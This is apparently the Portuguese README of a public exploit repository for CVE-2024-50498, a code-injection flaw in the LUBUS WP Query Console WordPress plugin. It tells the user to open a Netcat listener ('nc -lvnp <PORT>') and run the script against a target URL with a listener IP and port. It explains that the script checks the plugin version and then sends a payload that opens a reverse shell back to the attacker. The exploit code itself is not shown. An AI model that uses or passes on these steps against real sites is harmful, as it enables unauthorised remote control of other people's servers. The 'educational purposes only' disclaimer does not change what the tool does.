nxploited/cve-2024-50498Script de exploit para injeção de código CVE-2024-50498 no WordPress WP Query Console que verifica a vulnerabilidade e entrega um shell reverso.
A vulnerabilidade de Controle Incorreto da Geração de Código ('Injeção de Código') no LUBUS WP Query Console permite Injeção de Código. Este problema afeta o WP Query Console: de n/a até 1.0.
Abra um terminal na sua máquina e inicie um listener Netcat para aguardar a conexão de reverse shell.
nc -lvnp <PORT>
usage: CVE-2024-50498.py [-h] -u URL -ip LISTENER_IP -P PORT
wordpress | Improper Control of Generation of Code ('Code Injection') vulnerability in LUBUS WP Query Console allows Code
Injection.This issue affects WP Query Console: from n/a through 1.0. script Exploit by: Nxploit Khaled_alenazi This script
is provided for educational purposes only. The author is not responsible for any damages caused by the misuse of this
script.
options:
-h, --help show this help message and exit
-u URL, --url URL Target URL (e.g., http://example.com/wordpress)
-ip LISTENER_IP, --listener_ip LISTENER_IP
Your IP address for listening.
-P PORT, --port PORT Your listening port.
Após executar o comando, monitore o terminal do Netcat para verificar a conexão de reverse shell.
O script primeiro verificará se o site é vulnerável ao procurar pela versão do plugin. Se vulnerável, ele envia um payload para acionar o reverse shell. Se bem-sucedido, verifique seu terminal Netcat para a conexão do shell.